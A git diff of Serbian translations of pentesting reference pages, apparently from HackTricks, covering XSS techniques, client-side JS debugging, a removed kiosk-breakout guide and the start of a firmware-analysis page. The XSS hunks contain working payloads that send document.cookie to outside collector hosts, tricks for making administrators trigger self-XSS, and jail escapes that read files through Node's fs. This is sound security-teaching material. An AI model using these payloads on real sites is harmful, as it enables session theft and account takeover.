Ako možete da pokrenete XSS slanjem payload-a unutar kolačića, ovo je obično self-XSS. Međutim, ako pronađete **ranjivi poddomen za XSS**, mogli biste iskoristiti ovaj XSS da injektujete kolačić u celu domenu, uspevajući da pokrenete cookie XSS u glavnoj domeni ili drugim poddomenima (onim ranjivim na cookie XSS). Za ovo možete koristiti napad cookie tossing:
|
||||
Ako možete da izazovete XSS slanjem payload-a unutar kolačića, ovo je obično self-XSS. Međutim, ako pronađete **ranjivi poddomen za XSS**, mogli biste iskoristiti ovaj XSS da injektujete kolačić u celu domenu, uspevajući da izazovete cookie XSS u glavnoj domeni ili drugim poddomenima (onim ranjivim na cookie XSS). Za ovo možete koristiti napad cookie tossing:
|
||||
|
||||
{{#ref}}
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
{{#endref}}
|
||||
|
||||
Možete pronaći sjajnu zloupotrebu ove tehnike u [**ovom blog postu**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
||||
Možete pronaći sjajan primer zloupotrebe ove tehnike u [**ovom blog postu**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
||||
|
||||
### Slanje vaše sesije administratoru
|
||||
|
||||
Možda korisnik može podeliti svoj profil sa administratorom i ako je self XSS unutar profila korisnika, a administrator mu pristupi, on će aktivirati ranjivost.
|
||||
Možda korisnik može podeliti svoj profil sa administratorom i ako je self XSS unutar profila korisnika, a administrator mu pristupi, on će izazvati ranjivost.
|
||||
|
||||
### Odbijanje sesije
|
||||
### Odsijavanje sesije
|
||||
|
||||
Ako pronađete neki self XSS i web stranica ima **odbacivanje sesije za administratore**, na primer, omogućavajući klijentima da traže pomoć, kako bi administrator mogao da vam pomogne, videće ono što vi vidite u svojoj sesiji, ali iz svoje sesije.
|
||||
Ako pronađete neki self XSS i web stranica ima **odsijavanje sesije za administratore**, na primer, omogućavajući klijentima da traže pomoć, kako bi administrator mogao da vam pomogne, videće ono što vi vidite u svojoj sesiji, ali iz svoje sesije.
|
||||
|
||||
Možete naterati **administratora da aktivira vaš self XSS** i ukrade njegove kolačiće/sesiju.
|
||||
Možete naterati **administratora da izazove vaš self XSS** i ukradete njegove kolačiće/sesiju.
|
||||
|
||||
## Ostali Bypasses
|
||||
|
||||
### Normalizovani Unicode
|
||||
|
||||
Možete proveriti da li su **reflektovane vrednosti** **unicode normalizovane** na serveru (ili na klijentskoj strani) i zloupotrebiti ovu funkcionalnost da zaobiđete zaštite. [**Pronađite primer ovde**](../unicode-injection/index.html#xss-cross-site-scripting).
|
||||
Možete proveriti da li se **reflektovane vrednosti** normalizuju u **unicode** na serveru (ili na klijentskoj strani) i zloupotrebiti ovu funkcionalnost da zaobiđete zaštite. [**Pronađite primer ovde**](../unicode-injection/index.html#xss-cross-site-scripting).
|
||||
|
||||
### PHP FILTER_VALIDATE_EMAIL flag Bypass
|
||||
```javascript
|
||||
@ -826,14 +828,14 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS sa injekcijom zaglavlja u 302 odgovoru
|
||||
|
||||
Ako otkrijete da možete **injektovati zaglavlja u 302 Redirect odgovoru**, možete pokušati da **naterate pregledač da izvrši proizvoljni JavaScript**. Ovo **nije trivijalno** jer moderni pregledači ne interpretiraju telo HTTP odgovora ako je statusni kod HTTP odgovora 302, tako da je samo payload za cross-site scripting beskoristan.
|
||||
Ako otkrijete da možete **injektovati zaglavlja u 302 Redirect odgovoru**, možete pokušati da **naterate pregledač da izvrši proizvoljni JavaScript**. Ovo nije **trivijalno** jer moderni pregledači ne interpretiraju telo HTTP odgovora ako je statusni kod HTTP odgovora 302, tako da je samo payload za cross-site scripting beskoristan.
|
||||
|
||||
U [**ovom izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovom**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar Location zaglavlja i videti da li neki od njih omogućava pregledaču da ispita i izvrši XSS payload unutar tela.\
|
||||
Poznati protokoli: `mailto://`, `//x:1/`, `ws://`, `wss://`, _prazno Location zaglavlje_, `resource://`.
|
||||
|
||||
### Samo slova, brojevi i tačke
|
||||
|
||||
Ako ste u mogućnosti da naznačite **callback** koji će JavaScript **izvršiti** ograničeno na te karaktere. [**Pročitajte ovaj deo ovog posta**](#javascript-function) da biste saznali kako da iskoristite ovo ponašanje.
|
||||
Ako ste u mogućnosti da naznačite **callback** koji će JavaScript **izvršiti** ograničeno na te karaktere. [**Pročitajte ovaj deo ovog posta**](#javascript-function) da biste saznali kako da zloupotrebite ovo ponašanje.
|
||||
|
||||
### Validni `<script>` Content-Types za XSS
|
||||
|
||||
@ -865,7 +867,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
```
|
||||
### Tipovi skripti za XSS
|
||||
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Dakle, koji tipovi bi mogli biti naznačeni za učitavanje skripte?
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Dakle, koji tipovi bi mogli biti označeni za učitavanje skripte?
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
@ -952,9 +954,9 @@ Na primer, u [**ovoj analizi**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA),
|
||||
chrome-cache-to-xss.md
|
||||
{{#endref}}
|
||||
|
||||
### XS Jails bekstvo
|
||||
### XS Jails izlaz
|
||||
|
||||
Ako imate samo ograničen skup karaktera za korišćenje, proverite ova druga validna rešenja za probleme sa XSJail:
|
||||
Ako imate samo ograničen skup karaktera za korišćenje, proverite ova druga validna rešenja za XSJail probleme:
|
||||
```javascript
|
||||
// eval + unescape + regex
|
||||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||||
@ -992,7 +994,7 @@ Ako je **sve neodređeno** pre izvršavanja nepouzdanog koda (kao u [**ovoj anal
|
||||
// although import "fs" doesn’t work, import('fs') does.
|
||||
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
```
|
||||
- Indirektno pristupanje `require`
|
||||
- Pristupanje `require` indirektno
|
||||
|
||||
[Prema ovome](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduli su obavijeni od strane Node.js unutar funkcije, ovako:
|
||||
```javascript
|
||||
@ -1009,7 +1011,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
)
|
||||
})()
|
||||
```
|
||||
Na sličan način kao u prethodnom primeru, moguće je **koristiti rukovaoce greškama** da pristupite **omotaču** modula i dobijete **`require`** funkciju:
|
||||
Na sličan način kao u prethodnom primeru, moguće je **koristiti rukovaoce grešaka** da pristupite **omotaču** modula i dobijete **`require`** funkciju:
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
@ -1266,7 +1268,7 @@ Naterajte korisnika da se kreće po stranici bez izlaska iz iframe-a i ukradite
|
||||
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
|
||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Nećete moći da pristupite kolačićima iz JavaScript-a ako je HTTPOnly oznaka postavljena u kolačiću. Ali ovde imate [neke načine da zaobiđete ovu zaštitu](../hacking-with-cookies/index.html#httponly) ako imate sreće.
|
||||
|
||||
### Ukradi sadržaj stranice
|
||||
@ -1358,7 +1360,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
||||
};
|
||||
}
|
||||
```
|
||||
_Kratki vremenski intervali ukazuju na port koji odgovara_ _Duži vremenski intervali ukazuju na to da nema odgovora._
|
||||
_Kratki vremenski intervali ukazuju na port koji odgovara_ _Dugotrajniji vremenski intervali ukazuju na to da nema odgovora._
|
||||
|
||||
Pogledajte listu portova koji su zabranjeni u Chrome-u [**ovde**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) i u Firefox-u [**ovde**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
@ -1621,7 +1623,7 @@ id="foo"/>
|
||||
```xml
|
||||
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
||||
```
|
||||
Find **više SVG payload-a u** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
Pronađite **više SVG payload-a na** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
## Razne JS trikovi i relevantne informacije
|
||||
|
||||
|
@ -1,21 +1,19 @@
|
||||
# Debugging Client Side JS
|
||||
|
||||
## Debugging Client Side JS
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Debugging client side JS može biti mučno jer svaki put kada promenite URL (uključujući promenu u parametrima ili vrednostima parametara) morate **resetovati breakpoint i ponovo učitati stranicu**.
|
||||
Debugging client side JS može biti problematično jer svaki put kada promenite URL (uključujući promenu parametara ili vrednosti parametara) morate **resetovati breakpoint i ponovo učitati stranicu**.
|
||||
|
||||
### `debugger;`
|
||||
|
||||
Ako stavite liniju `debugger;` unutar JS fajla, kada **pregledač** izvrši JS, on će **stati** na **debugger** na tom mestu. Stoga, jedan način da postavite stalne breakpointe bio bi da **preuzmete sve fajlove lokalno i postavite breakpointe u JS kodu**.
|
||||
Ako stavite liniju `debugger;` unutar JS fajla, kada **pregledač** izvrši JS, on će **stati** na **debugger** na tom mestu. Stoga, jedan način da postavite stalne breakpointe bi bio da **preuzmete sve fajlove lokalno i postavite breakpointe u JS kodu**.
|
||||
|
||||
### Overrides
|
||||
|
||||
Browser overrides omogućavaju da imate lokalnu kopiju koda koja će biti izvršena umesto one sa udaljenog servera.\
|
||||
Browser overrides omogućavaju da imate lokalnu kopiju koda koji će biti izvršen i da izvršite tu kopiju umesto one sa udaljenog servera.\
|
||||
Možete **pristupiti overrides** u "Dev Tools" --> "Sources" --> "Overrides".
|
||||
|
||||
Morate **napraviti lokalnu praznu fasciklu koja će se koristiti za čuvanje overrides**, tako da jednostavno kreirate novu lokalnu fasciklu i postavite je kao override na toj stranici.
|
||||
Morate **napraviti lokalnu praznu fasciklu koja će se koristiti za čuvanje overrides**, tako da jednostavno kreirajte novu lokalnu fasciklu i postavite je kao override na toj stranici.
|
||||
|
||||
Zatim, u "Dev Tools" --> "Sources" **izaberite fajl** koji želite da zamenite i sa **desnim klikom izaberite "Save for overrides"**.
|
||||
|
||||
|
@ -1,276 +0,0 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# Proverite moguće akcije unutar GUI aplikacije
|
||||
|
||||
**Uobičajeni dijalozi** su opcije za **čuvanje datoteke**, **otvaranje datoteke**, odabir fonta, boje... Većina njih će **ponuditi punu funkcionalnost Explorera**. To znači da ćete moći pristupiti funkcionalnostima Explorera ako možete pristupiti ovim opcijama:
|
||||
|
||||
- Zatvori/Zatvori kao
|
||||
- Otvori/Otvori sa
|
||||
- Štampaj
|
||||
- Izvezi/Uvezi
|
||||
- Pretraži
|
||||
- Skeniraj
|
||||
|
||||
Trebalo bi da proverite da li možete:
|
||||
|
||||
- Modifikovati ili kreirati nove datoteke
|
||||
- Kreirati simboličke linkove
|
||||
- Dobiti pristup ograničenim oblastima
|
||||
- Izvršiti druge aplikacije
|
||||
|
||||
## Izvršavanje komandi
|
||||
|
||||
Možda **koristeći opciju `Otvori sa`** možete otvoriti/izvršiti neku vrstu shell-a.
|
||||
|
||||
### Windows
|
||||
|
||||
Na primer _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ pronađite više binarnih datoteka koje se mogu koristiti za izvršavanje komandi (i izvođenje neočekivanih akcija) ovde: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
|
||||
|
||||
### \*NIX \_\_
|
||||
|
||||
_bash, sh, zsh..._ Više ovde: [https://gtfobins.github.io/](https://gtfobins.github.io)
|
||||
|
||||
# Windows
|
||||
|
||||
## Zaobilaženje ograničenja putanja
|
||||
|
||||
- **Promenljive okruženja**: Postoji mnogo promenljivih okruženja koje upućuju na neku putanju
|
||||
- **Ostali protokoli**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
|
||||
- **Simbolički linkovi**
|
||||
- **Prečice**: CTRL+N (otvori novu sesiju), CTRL+R (izvrši komande), CTRL+SHIFT+ESC (Upravnik zadataka), Windows+E (otvori explorer), CTRL-B, CTRL-I (Omiljeni), CTRL-H (Istorija), CTRL-L, CTRL-O (Dijalog za otvaranje datoteke), CTRL-P (Dijalog za štampanje), CTRL-S (Sačuvaj kao)
|
||||
- Skriveni Administrativni meni: CTRL-ALT-F8, CTRL-ESC-F9
|
||||
- **Shell URIs**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
|
||||
- **UNC putanje**: Putanje za povezivanje sa deljenim folderima. Trebalo bi da pokušate da se povežete na C$ lokalne mašine ("\\\127.0.0.1\c$\Windows\System32")
|
||||
- **Više UNC putanja:**
|
||||
|
||||
| UNC | UNC | UNC |
|
||||
| ------------------------- | -------------- | -------------------- |
|
||||
| %ALLUSERSPROFILE% | %APPDATA% | %CommonProgramFiles% |
|
||||
| %COMMONPROGRAMFILES(x86)% | %COMPUTERNAME% | %COMSPEC% |
|
||||
| %HOMEDRIVE% | %HOMEPATH% | %LOCALAPPDATA% |
|
||||
| %LOGONSERVER% | %PATH% | %PATHEXT% |
|
||||
| %ProgramData% | %ProgramFiles% | %ProgramFiles(x86)% |
|
||||
| %PROMPT% | %PSModulePath% | %Public% |
|
||||
| %SYSTEMDRIVE% | %SYSTEMROOT% | %TEMP% |
|
||||
| %TMP% | %USERDOMAIN% | %USERNAME% |
|
||||
| %USERPROFILE% | %WINDIR% | |
|
||||
|
||||
## Preuzmite svoje binarne datoteke
|
||||
|
||||
Konzola: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\
|
||||
Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
|
||||
Registry editor: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
|
||||
|
||||
## Pristupanje datotečnom sistemu iz pregledača
|
||||
|
||||
| PUTANJA | PUTANJA | PUTANJA | PUTANJA |
|
||||
| ------------------- | ----------------- | ------------------ | ------------------- |
|
||||
| File:/C:/windows | File:/C:/windows/ | File:/C:/windows\\ | File:/C:\windows |
|
||||
| File:/C:\windows\\ | File:/C:\windows/ | File://C:/windows | File://C:/windows/ |
|
||||
| File://C:/windows\\ | File://C:\windows | File://C:\windows/ | File://C:\windows\\ |
|
||||
| C:/windows | C:/windows/ | C:/windows\\ | C:\windows |
|
||||
| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% |
|
||||
| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% |
|
||||
| %HOMEDRIVE% | %HOMESHARE | | <p><br></p> |
|
||||
|
||||
## Prečice
|
||||
|
||||
- Sticky Keys – Pritisnite SHIFT 5 puta
|
||||
- Mouse Keys – SHIFT+ALT+NUMLOCK
|
||||
- High Contrast – SHIFT+ALT+PRINTSCN
|
||||
- Toggle Keys – Držite NUMLOCK 5 sekundi
|
||||
- Filter Keys – Držite desni SHIFT 12 sekundi
|
||||
- WINDOWS+F1 – Pretraga u Windows-u
|
||||
- WINDOWS+D – Prikaži radnu površinu
|
||||
- WINDOWS+E – Pokreni Windows Explorer
|
||||
- WINDOWS+R – Pokreni
|
||||
- WINDOWS+U – Centar za pristupačnost
|
||||
- WINDOWS+F – Pretraga
|
||||
- SHIFT+F10 – Kontekstualni meni
|
||||
- CTRL+SHIFT+ESC – Upravnik zadataka
|
||||
- CTRL+ALT+DEL – Splash ekran na novijim verzijama Windows-a
|
||||
- F1 – Pomoć F3 – Pretraga
|
||||
- F6 – Adresna traka
|
||||
- F11 – Prebaci u pun ekran unutar Internet Explorera
|
||||
- CTRL+H – Istorija Internet Explorera
|
||||
- CTRL+T – Internet Explorer – Nova kartica
|
||||
- CTRL+N – Internet Explorer – Nova stranica
|
||||
- CTRL+O – Otvori datoteku
|
||||
- CTRL+S – Sačuvaj CTRL+N – Nova RDP / Citrix
|
||||
|
||||
## Swipes
|
||||
|
||||
- Prevucite s leve strane na desnu da biste videli sve otvorene Windows, minimizirajući KIOSK aplikaciju i pristupajući celom OS-u direktno;
|
||||
- Prevucite s desne strane na levu da biste otvorili Centar za akcije, minimizirajući KIOSK aplikaciju i pristupajući celom OS-u direktno;
|
||||
- Prevucite s gornjeg ivice da biste učinili naslovnu traku vidljivom za aplikaciju otvorenu u režimu punog ekrana;
|
||||
- Prevucite nagore s donje strane da biste prikazali traku zadataka u aplikaciji punog ekrana.
|
||||
|
||||
## Internet Explorer trikovi
|
||||
|
||||
### 'Image Toolbar'
|
||||
|
||||
To je alatna traka koja se pojavljuje u gornjem levom uglu slike kada se klikne. Moći ćete da Sačuvate, Štampate, Pošaljete e-poštu, Otvorite "Moje slike" u Exploreru. Kiosk treba da koristi Internet Explorer.
|
||||
|
||||
### Shell protokol
|
||||
|
||||
Ukucajte ove URL-ove da biste dobili prikaz Explorera:
|
||||
|
||||
- `shell:Administrative Tools`
|
||||
- `shell:DocumentsLibrary`
|
||||
- `shell:Libraries`
|
||||
- `shell:UserProfiles`
|
||||
- `shell:Personal`
|
||||
- `shell:SearchHomeFolder`
|
||||
- `shell:NetworkPlacesFolder`
|
||||
- `shell:SendTo`
|
||||
- `shell:UserProfiles`
|
||||
- `shell:Common Administrative Tools`
|
||||
- `shell:MyComputerFolder`
|
||||
- `shell:InternetFolder`
|
||||
- `Shell:Profile`
|
||||
- `Shell:ProgramFiles`
|
||||
- `Shell:System`
|
||||
- `Shell:ControlPanelFolder`
|
||||
- `Shell:Windows`
|
||||
- `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Kontrolna tabla
|
||||
- `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Moj računar
|
||||
- `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Moja mrežna mesta
|
||||
- `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer
|
||||
|
||||
## Prikaži ekstenzije datoteka
|
||||
|
||||
Proverite ovu stranicu za više informacija: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
|
||||
|
||||
# Trikovi za pretraživače
|
||||
|
||||
Backup iKat verzije:
|
||||
|
||||
[http://swin.es/k/](http://swin.es/k/)\
|
||||
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\
|
||||
|
||||
Kreirajte uobičajeni dijalog koristeći JavaScript i pristupite file explorer-u: `document.write('<input/type=file>')`
|
||||
Izvor: https://medium.com/@Rend_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
|
||||
|
||||
# iPad
|
||||
|
||||
## Gestikulacije i dugmad
|
||||
|
||||
- Prevucite nagore sa četiri (ili pet) prsta / Dvostruki dodir na dugme Home: Da biste videli prikaz multitask-a i promenili aplikaciju
|
||||
|
||||
- Prevucite na jednu ili drugu stranu sa četiri ili pet prstiju: Da biste prešli na sledeću/poslednju aplikaciju
|
||||
|
||||
- Stisnite ekran sa pet prstiju / Dodirnite dugme Home / Prevucite nagore sa 1 prstom sa donje strane ekrana u brzom pokretu: Da biste pristupili Home
|
||||
|
||||
- Prevucite jednim prstom sa donje strane ekrana samo 1-2 inča (sporo): Dock će se pojaviti
|
||||
|
||||
- Prevucite nagore sa gornje strane ekrana sa 1 prstom: Da biste videli obaveštenja
|
||||
|
||||
- Prevucite nagore sa 1 prstom u gornjem desnom uglu ekrana: Da biste videli kontrolni centar iPad Pro-a
|
||||
|
||||
- Prevucite 1 prstom sa leve strane ekrana 1-2 inča: Da biste videli prikaz dana
|
||||
|
||||
- Brzo prevucite 1 prstom iz centra ekrana na desno ili levo: Da biste prešli na sledeću/poslednju aplikaciju
|
||||
|
||||
- Pritisnite i držite dugme On/**Off**/Sleep u gornjem desnom uglu **iPad +** Pomaknite klizač za **isključivanje** skroz udesno: Da biste isključili
|
||||
|
||||
- Pritisnite dugme On/**Off**/Sleep u gornjem desnom uglu **iPad i dugme Home nekoliko sekundi**: Da biste prisilili teško isključivanje
|
||||
|
||||
- Pritisnite dugme On/**Off**/Sleep u gornjem desnom uglu **iPad i dugme Home brzo**: Da biste napravili snimak ekrana koji će se pojaviti u donjem levom uglu ekrana. Pritisnite oba dugmeta u isto vreme vrlo kratko, jer ako ih držite nekoliko sekundi, izvršiće se teško isključivanje.
|
||||
|
||||
## Prečice
|
||||
|
||||
Trebalo bi da imate iPad tastaturu ili USB adapter za tastaturu. Samo prečice koje bi mogle pomoći u izlasku iz aplikacije biće prikazane ovde.
|
||||
|
||||
| Taster | Ime |
|
||||
| --- | ------------ |
|
||||
| ⌘ | Komanda |
|
||||
| ⌥ | Opcija (Alt) |
|
||||
| ⇧ | Shift |
|
||||
| ↩ | Povratak |
|
||||
| ⇥ | Tab |
|
||||
| ^ | Kontrola |
|
||||
| ← | Leva strelica |
|
||||
| → | Desna strelica |
|
||||
| ↑ | Gornja strelica |
|
||||
| ↓ | Donja strelica |
|
||||
|
||||
### Sistem prečice
|
||||
|
||||
Ove prečice su za vizuelne postavke i postavke zvuka, u zavisnosti od korišćenja iPad-a.
|
||||
|
||||
| Prečica | Akcija |
|
||||
| -------- | ------------------------------------------------------------------------------ |
|
||||
| F1 | Smanji ekran |
|
||||
| F2 | Povećaj ekran |
|
||||
| F7 | Nazad jedna pesma |
|
||||
| F8 | Pusti/pausa |
|
||||
| F9 | Preskoči pesmu |
|
||||
| F10 | Isključi |
|
||||
| F11 | Smanji jačinu zvuka |
|
||||
| F12 | Povećaj jačinu zvuka |
|
||||
| ⌘ Space | Prikaži listu dostupnih jezika; da biste odabrali jedan, ponovo pritisnite razmaknicu. |
|
||||
|
||||
### Navigacija iPad-a
|
||||
|
||||
| Prečica | Akcija |
|
||||
| -------------------------------------------------- | ------------------------------------------------------- |
|
||||
| ⌘H | Idi na Home |
|
||||
| ⌘⇧H (Command-Shift-H) | Idi na Home |
|
||||
| ⌘ (Space) | Otvori Spotlight |
|
||||
| ⌘⇥ (Command-Tab) | Lista poslednjih deset korišćenih aplikacija |
|
||||
| ⌘\~ | Idi na poslednju aplikaciju |
|
||||
| ⌘⇧3 (Command-Shift-3) | Snimak ekrana (pluta u donjem levom uglu da sačuvate ili delujete na njemu) |
|
||||
| ⌘⇧4 | Snimak ekrana i otvori ga u editoru |
|
||||
| Pritisnite i držite ⌘ | Lista prečica dostupnih za aplikaciju |
|
||||
| ⌘⌥D (Command-Option/Alt-D) | Prikazuje dock |
|
||||
| ^⌥H (Control-Option-H) | Dugme Home |
|
||||
| ^⌥H H (Control-Option-H-H) | Prikaži multitask bar |
|
||||
| ^⌥I (Control-Option-i) | Izbor stavke |
|
||||
| Escape | Dugme nazad |
|
||||
| → (Desna strelica) | Sledeća stavka |
|
||||
| ← (Leva strelica) | Prethodna stavka |
|
||||
| ↑↓ (Gornja strelica, Donja strelica) | Istovremeno dodirnite izabranu stavku |
|
||||
| ⌥ ↓ (Opcija-Donja strelica) | Pomeri se nadole |
|
||||
| ⌥↑ (Opcija-Gornja strelica) | Pomeri se nagore |
|
||||
| ⌥← ili ⌥→ (Opcija-Leva strelica ili Opcija-Desna strelica) | Pomeri se levo ili desno |
|
||||
| ^⌥S (Control-Option-S) | Uključi ili isključi VoiceOver govor |
|
||||
| ⌘⇧⇥ (Command-Shift-Tab) | Prebaci se na prethodnu aplikaciju |
|
||||
| ⌘⇥ (Command-Tab) | Prebaci se nazad na originalnu aplikaciju |
|
||||
| ←+→, zatim Opcija + ← ili Opcija+→ | Navigirajte kroz Dock |
|
||||
|
||||
### Safari prečice
|
||||
|
||||
| Prečica | Akcija |
|
||||
| ----------------------- | ------------------------------------------------ |
|
||||
| ⌘L (Command-L) | Otvori lokaciju |
|
||||
| ⌘T | Otvori novu karticu |
|
||||
| ⌘W | Zatvori trenutnu karticu |
|
||||
| ⌘R | Osveži trenutnu karticu |
|
||||
| ⌘. | Prekini učitavanje trenutne kartice |
|
||||
| ^⇥ | Prebaci se na sledeću karticu |
|
||||
| ^⇧⇥ (Control-Shift-Tab) | Prebaci se na prethodnu karticu |
|
||||
| ⌘L | Izaberi tekstualni unos/URL polje da ga izmenite |
|
||||
| ⌘⇧T (Command-Shift-T) | Otvori poslednju zatvorenu karticu (može se koristiti više puta) |
|
||||
| ⌘\[ | Vraća se na prethodnu stranicu u istoriji pretraživanja |
|
||||
| ⌘] | Ide napred na sledeću stranicu u istoriji pretraživanja |
|
||||
| ⌘⇧R | Aktivira režim čitača |
|
||||
|
||||
### Mail prečice
|
||||
|
||||
| Prečica | Akcija |
|
||||
| -------------------------- | ---------------------------- |
|
||||
| ⌘L | Otvori lokaciju |
|
||||
| ⌘T | Otvori novu karticu |
|
||||
| ⌘W | Zatvori trenutnu karticu |
|
||||
| ⌘R | Osveži trenutnu karticu |
|
||||
| ⌘. | Prekini učitavanje trenutne kartice |
|
||||
| ⌘⌥F (Command-Option/Alt-F) | Pretraži u vašem poštanskom sandučetu |
|
||||
|
||||
# Reference
|
||||
|
||||
- [https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html](https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html)
|
||||
- [https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html](https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html)
|
||||
- [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/)
|
||||
- [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,240 +0,0 @@
|
||||
# Firmware Analysis
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Uvod**
|
||||
|
||||
Firmware je osnovni softver koji omogućava uređajima da pravilno funkcionišu upravljajući i olakšavajući komunikaciju između hardverskih komponenti i softvera s kojim korisnici interaguju. Skladišti se u trajnoj memoriji, osiguravajući da uređaj može pristupiti vitalnim uputstvima od trenutka kada se uključi, što dovodi do pokretanja operativnog sistema. Istraživanje i potencijalno modifikovanje firmware-a je kritičan korak u identifikaciji sigurnosnih ranjivosti.
|
||||
|
||||
## **Prikupljanje informacija**
|
||||
|
||||
**Prikupljanje informacija** je kritičan početni korak u razumevanju sastava uređaja i tehnologija koje koristi. Ovaj proces uključuje prikupljanje podataka o:
|
||||
|
||||
- Arhitekturi CPU-a i operativnom sistemu koji koristi
|
||||
- Specifikacijama bootloader-a
|
||||
- Rasporedu hardvera i tehničkim listovima
|
||||
- Metrikama koda i lokacijama izvora
|
||||
- Spoljim bibliotekama i tipovima licenci
|
||||
- Istorijama ažuriranja i regulatornim sertifikatima
|
||||
- Arhitektonskim i tokovnim dijagramima
|
||||
- Procjenama sigurnosti i identifikovanim ranjivostima
|
||||
|
||||
U tu svrhu, **alatke za otvorene izvore (OSINT)** su neprocenjive, kao i analiza bilo kojih dostupnih komponenti otvorenog koda kroz manuelne i automatske procese pregleda. Alati poput [Coverity Scan](https://scan.coverity.com) i [Semmle’s LGTM](https://lgtm.com/#explore) nude besplatnu statičku analizu koja se može iskoristiti za pronalaženje potencijalnih problema.
|
||||
|
||||
## **Sticanje firmware-a**
|
||||
|
||||
Dobijanje firmware-a može se pristupiti na različite načine, svaki sa svojim nivoom složenosti:
|
||||
|
||||
- **Direktno** od izvora (razvijači, proizvođači)
|
||||
- **Kreiranje** na osnovu datih uputstava
|
||||
- **Preuzimanje** sa zvaničnih sajtova za podršku
|
||||
- Korišćenje **Google dork** upita za pronalaženje hostovanih firmware datoteka
|
||||
- Pristupanje **cloud storage** direktno, uz alate poput [S3Scanner](https://github.com/sa7mon/S3Scanner)
|
||||
- Presretanje **ažuriranja** putem man-in-the-middle tehnika
|
||||
- **Ekstrakcija** sa uređaja putem konekcija kao što su **UART**, **JTAG**, ili **PICit**
|
||||
- **Sniffing** za zahteve za ažuriranje unutar komunikacije uređaja
|
||||
- Identifikovanje i korišćenje **hardkodiranih krajnjih tačaka za ažuriranje**
|
||||
- **Dumping** sa bootloader-a ili mreže
|
||||
- **Uklanjanje i čitanje** čipa za skladištenje, kada sve drugo ne uspe, koristeći odgovarajuće hardverske alate
|
||||
|
||||
## Analiza firmware-a
|
||||
|
||||
Sada kada **imate firmware**, potrebno je da izvučete informacije o njemu kako biste znali kako da ga obradite. Različiti alati koje možete koristiti za to:
|
||||
```bash
|
||||
file <bin>
|
||||
strings -n8 <bin>
|
||||
strings -tx <bin> #print offsets in hex
|
||||
hexdump -C -n 512 <bin> > hexdump.out
|
||||
hexdump -C <bin> | head # might find signatures in header
|
||||
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
||||
```
|
||||
